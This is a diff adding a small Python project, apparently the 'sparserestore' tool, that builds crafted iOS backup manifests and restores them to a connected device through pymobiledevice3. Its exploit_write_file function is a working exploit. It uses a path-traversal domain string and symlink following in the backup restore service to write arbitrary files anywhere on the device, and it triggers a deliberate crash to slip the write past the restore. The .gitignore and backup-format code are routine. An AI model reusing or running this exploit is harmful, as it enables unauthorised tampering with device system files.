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.gitignore

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+.DS_Store
+
+# Byte-compiled / optimized / DLL files
+__pycache__/
+*.py[cod]
+*$py.class
+
+# C extensions
+*.so
+
+# Distribution / packaging
+.Python
+build/
+develop-eggs/
+dist/
+downloads/
+eggs/
+.eggs/
+lib/
+lib64/
+parts/
+sdist/
+var/
+wheels/
+share/python-wheels/
+*.egg-info/
+.installed.cfg
+*.egg
+MANIFEST
+
+# PyInstaller
+#  Usually these files are written by a python script from a template
+#  before PyInstaller builds the exe, so as to inject date/other infos into it.
+*.manifest
+*.spec
+
+# Installer logs
+pip-log.txt
+pip-delete-this-directory.txt
+
+# Unit test / coverage reports
+htmlcov/
+.tox/
+.nox/
+.coverage
+.coverage.*
+.cache
+nosetests.xml
+coverage.xml
+*.cover
+*.py,cover
+.hypothesis/
+.pytest_cache/
+cover/
+
+# Translations
+*.mo
+*.pot
+
+# Django stuff:
+*.log
+local_settings.py
+db.sqlite3
+db.sqlite3-journal
+
+# Flask stuff:
+instance/
+.webassets-cache
+
+# Scrapy stuff:
+.scrapy
+
+# Sphinx documentation
+docs/_build/
+
+# PyBuilder
+.pybuilder/
+target/
+
+# Jupyter Notebook
+.ipynb_checkpoints
+
+# IPython
+profile_default/
+ipython_config.py
+
+# pyenv
+#   For a library or package, you might want to ignore these files since the code is
+#   intended to run in multiple environments; otherwise, check them in:
+# .python-version
+
+# pipenv
+#   According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
+#   However, in case of collaboration, if having platform-specific dependencies or dependencies
+#   having no cross-platform support, pipenv may install dependencies that don't work, or not
+#   install all needed dependencies.
+#Pipfile.lock
+
+# poetry
+#   Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.
+#   This is especially recommended for binary packages to ensure reproducibility, and is more
+#   commonly ignored for libraries.
+#   https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control
+#poetry.lock
+
+# pdm
+#   Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control.
+#pdm.lock
+#   pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it
+#   in version control.
+#   https://pdm.fming.dev/latest/usage/project/#working-with-version-control
+.pdm.toml
+.pdm-python
+.pdm-build/
+
+# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm
+__pypackages__/
+
+# Celery stuff
+celerybeat-schedule
+celerybeat.pid
+
+# SageMath parsed files
+*.sage.py
+
+# Environments
+.env
+.venv
+env/
+venv/
+ENV/
+env.bak/
+venv.bak/
+
+# Spyder project settings
+.spyderproject
+.spyproject
+
+# Rope project settings
+.ropeproject
+
+# mkdocs documentation
+/site
+
+# mypy
+.mypy_cache/
+.dmypy.json
+dmypy.json
+
+# Pyre type checker
+.pyre/
+
+# pytype static type analyzer
+.pytype/
+
+# Cython debug symbols
+cython_debug/
+
+# PyCharm
+#  JetBrains specific template is maintained in a separate JetBrains.gitignore that can
+#  be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore
+#  and can be added to the global gitignore or merged into this file.  For a more nuclear
+#  option (not recommended) you can uncomment the following to ignore the entire idea folder.
+.idea/
+

requirements.txt

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+pymobiledevice3
+bpylist2
+rich

sparserestore/__init__.py

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+from tempfile import TemporaryDirectory
+from pathlib import Path
+
+from pymobiledevice3.lockdown import create_using_usbmux
+from pymobiledevice3.services.mobilebackup2 import Mobilebackup2Service
+from pymobiledevice3.exceptions import PyMobileDevice3Exception
+
+from . import backup
+from .backup import _FileMode as FileMode
+
+def perform_restore(backup: backup.Backup, reboot: bool = False):
+    with TemporaryDirectory() as backup_dir:
+        backup.write_to_directory(Path(backup_dir))
+
+        lockdown = create_using_usbmux()
+        with Mobilebackup2Service(lockdown) as mb:
+            mb.restore(backup_dir, system=True, reboot=False, copy=False, source=".")
+
+def exploit_write_file(file: backup.BackupFile):
+    # Exploits in use:
+    # - Path after SysContainerDomain- or SysSharedContainerDomain- is not sanitized
+    # - SysContainerDomain will follow symlinks
+
+    # /var/.backup.i/var/mobile/Library/Backup/System Containers/Data/com.container.name
+    #   ../       ../ ../    ../     ../    ../               ../  ../
+    ROOT = "SysContainerDomain-../../../../../../../.."
+    file.domain = ROOT + file.path
+    file.path = ""
+
+    back = backup.Backup(files=[
+        file,
+        # Crash on purpose so that a restore is not actually applied
+        backup.ConcreteFile("", ROOT + "/crash_on_purpose", contents=b"")
+    ])
+
+    try:
+        perform_restore(back)
+    except PyMobileDevice3Exception as e:
+        if "crash_on_purpose" not in str(e):
+            raise e

sparserestore/backup.py

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+from dataclasses import dataclass
+from datetime import datetime
+import plistlib
+from pathlib import Path
+from base64 import b64decode
+from hashlib import sha1
+from . import mbdb
+from .mbdb import _FileMode
+from random import randbytes
+from typing import Optional
+
+# RWX:RX:RX
+DEFAULT = _FileMode.S_IRUSR | _FileMode.S_IWUSR | _FileMode.S_IXUSR | _FileMode.S_IRGRP | _FileMode.S_IXGRP | _FileMode.S_IROTH | _FileMode.S_IXOTH
+
+@dataclass
+class BackupFile:
+    path: str
+    domain: str
+
+    def to_record(self) -> mbdb.MbdbRecord:
+        raise NotImplementedError()
+
+@dataclass
+class ConcreteFile(BackupFile):
+    contents: bytes
+    owner: int = 0
+    group: int = 0
+    inode: Optional[int] = None
+    mode: _FileMode = DEFAULT
+
+    def to_record(self) -> mbdb.MbdbRecord:
+        if self.inode is None:
+            self.inode = int.from_bytes(randbytes(8), "big")
+        return mbdb.MbdbRecord(
+            domain=self.domain,
+            filename=self.path,
+            link="",
+            hash=sha1(self.contents).digest(),
+            key=b"",
+            mode=self.mode | _FileMode.S_IFREG,
+            #unknown2=0,
+            #unknown3=0,
+            inode=self.inode,
+            user_id=self.owner,
+            group_id=self.group,
+            mtime=int(datetime.now().timestamp()),
+            atime=int(datetime.now().timestamp()),
+            ctime=int(datetime.now().timestamp()),
+            size=len(self.contents),
+            flags=4,
+            properties=[]
+        )
+
+@dataclass
+class Directory(BackupFile):
+    owner: int = 0
+    group: int = 0
+    mode: _FileMode = DEFAULT
+
+    def to_record(self) -> mbdb.MbdbRecord:
+        return mbdb.MbdbRecord(
+            domain=self.domain,
+            filename=self.path,
+            link="",
+            hash=b"",
+            key=b"",
+            mode=self.mode | _FileMode.S_IFDIR,
+            #unknown2=0,
+            #unknown3=0,
+            inode=0, # inode is not respected for directories
+            user_id=self.owner,
+            group_id=self.group,
+            mtime=int(datetime.now().timestamp()),
+            atime=int(datetime.now().timestamp()),
+            ctime=int(datetime.now().timestamp()),
+            size=0,
+            flags=4,
+            properties=[]
+        )
+
+@dataclass
+class SymbolicLink(BackupFile):
+    target: str
+    owner: int = 0
+    group: int = 0
+    inode: Optional[int] = None
+    mode: _FileMode = DEFAULT
+
+    def to_record(self) -> mbdb.MbdbRecord:
+        if self.inode is None:
+            self.inode = int.from_bytes(randbytes(8), "big")
+        return mbdb.MbdbRecord(
+            domain=self.domain,
+            filename=self.path,
+            link=self.target,
+            hash=b"",
+            key=b"",
+            mode=self.mode | _FileMode.S_IFLNK,
+            #unknown2=0,
+            #unknown3=0,
+            inode=self.inode,
+            user_id=self.owner,
+            group_id=self.group,
+            mtime=int(datetime.now().timestamp()),
+            atime=int(datetime.now().timestamp()),
+            ctime=int(datetime.now().timestamp()),
+            size=0,
+            flags=4,
+            properties=[]
+        )
+
+@dataclass
+class Backup:
+    files: list[BackupFile]
+
+    def write_to_directory(self, directory: Path):
+        for file in self.files:
+            if isinstance(file, ConcreteFile):
+                #print("Writing", file.path, "to", directory / sha1((file.domain + "-" + file.path).encode()).digest().hex())
+                with open(directory / sha1((file.domain + "-" + file.path).encode()).digest().hex(), "wb") as f:
+                    f.write(file.contents)
+
+        with open(directory / "Manifest.mbdb", "wb") as f:
+            f.write(self.generate_manifest_db().to_bytes())
+
+        with open(directory / "Status.plist", "wb") as f:
+            f.write(self.generate_status())
+
+        with open(directory / "Manifest.plist", "wb") as f:
+            f.write(self.generate_manifest())
+
+        with open(directory / "Info.plist", "wb") as f:
+            f.write(plistlib.dumps({}))
+
+
+    def generate_manifest_db(self): # Manifest.mbdb
+        records = []
+        for file in self.files:
+            records.append(file.to_record())
+        return mbdb.Mbdb(records=records)
+
+    def generate_status(self) -> bytes: # Status.plist
+        return plistlib.dumps({
+            "BackupState": "new",
+            "Date": datetime.fromisoformat("1970-01-01T00:00:00+00:00"),
+            "IsFullBackup": False,
+            "SnapshotState": "finished",
+            "UUID": "00000000-0000-0000-0000-000000000000",
+            "Version": "2.4"
+        })
+
+    def generate_manifest(self) -> bytes: # Manifest.plist
+        return plistlib.dumps({
+            "BackupKeyBag": b64decode("""
+    VkVSUwAAAAQAAAAFVFlQRQAAAAQAAAABVVVJRAAAABDud41d1b9NBICR1BH9JfVtSE1D
+	SwAAACgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAV1JBUAAA
+	AAQAAAAAU0FMVAAAABRY5Ne2bthGQ5rf4O3gikep1e6tZUlURVIAAAAEAAAnEFVVSUQA
+	AAAQB7R8awiGR9aba1UuVahGPENMQVMAAAAEAAAAAVdSQVAAAAAEAAAAAktUWVAAAAAE
+	AAAAAFdQS1kAAAAoN3kQAJloFg+ukEUY+v5P+dhc/Welw/oucsyS40UBh67ZHef5ZMk9
+	UVVVSUQAAAAQgd0cg0hSTgaxR3PVUbcEkUNMQVMAAAAEAAAAAldSQVAAAAAEAAAAAktU
+	WVAAAAAEAAAAAFdQS1kAAAAoMiQTXx0SJlyrGJzdKZQ+SfL124w+2Tf/3d1R2i9yNj9z
+	ZCHNJhnorVVVSUQAAAAQf7JFQiBOS12JDD7qwKNTSkNMQVMAAAAEAAAAA1dSQVAAAAAE
+	AAAAAktUWVAAAAAEAAAAAFdQS1kAAAAoSEelorROJA46ZUdwDHhMKiRguQyqHukotrxh
+	jIfqiZ5ESBXX9txi51VVSUQAAAAQfF0G/837QLq01xH9+66vx0NMQVMAAAAEAAAABFdS
+	QVAAAAAEAAAAAktUWVAAAAAEAAAAAFdQS1kAAAAol0BvFhd5bu4Hr75XqzNf4g0fMqZA
+	ie6OxI+x/pgm6Y95XW17N+ZIDVVVSUQAAAAQimkT2dp1QeadMu1KhJKNTUNMQVMAAAAE
+	AAAABVdSQVAAAAAEAAAAA0tUWVAAAAAEAAAAAFdQS1kAAAAo2N2DZarQ6GPoWRgTiy/t
+	djKArOqTaH0tPSG9KLbIjGTOcLodhx23xFVVSUQAAAAQQV37JVZHQFiKpoNiGmT6+ENM
+	QVMAAAAEAAAABldSQVAAAAAEAAAAA0tUWVAAAAAEAAAAAFdQS1kAAAAofe2QSvDC2cV7
+	Etk4fSBbgqDx5ne/z1VHwmJ6NdVrTyWi80Sy869DM1VVSUQAAAAQFzkdH+VgSOmTj3yE
+	cfWmMUNMQVMAAAAEAAAAB1dSQVAAAAAEAAAAA0tUWVAAAAAEAAAAAFdQS1kAAAAo7kLY
+	PQ/DnHBERGpaz37eyntIX/XzovsS0mpHW3SoHvrb9RBgOB+WblVVSUQAAAAQEBpgKOz9
+	Tni8F9kmSXd0sENMQVMAAAAEAAAACFdSQVAAAAAEAAAAA0tUWVAAAAAEAAAAAFdQS1kA
+	AAAo5mxVoyNFgPMzphYhm1VG8Fhsin/xX+r6mCd9gByF5SxeolAIT/ICF1VVSUQAAAAQ
+	rfKB2uPSQtWh82yx6w4BoUNMQVMAAAAEAAAACVdSQVAAAAAEAAAAA0tUWVAAAAAEAAAA
+	AFdQS1kAAAAo5iayZBwcRa1c1MMx7vh6lOYux3oDI/bdxFCW1WHCQR/Ub1MOv+QaYFVV
+	SUQAAAAQiLXvK3qvQza/mea5inss/0NMQVMAAAAEAAAACldSQVAAAAAEAAAAA0tUWVAA
+	AAAEAAAAAFdQS1kAAAAoD2wHX7KriEe1E31z7SQ7/+AVymcpARMYnQgegtZD0Mq2U55u
+	xwNr2FVVSUQAAAAQ/Q9feZxLS++qSe/a4emRRENMQVMAAAAEAAAAC1dSQVAAAAAEAAAA
+	A0tUWVAAAAAEAAAAAFdQS1kAAAAocYda2jyYzzSKggRPw/qgh6QPESlkZedgDUKpTr4Z
+	Z8FDgd7YoALY1g=="""),
+            "Lockdown": {},
+            "SystemDomainsVersion": "20.0",
+            "Version": "9.1"
+        })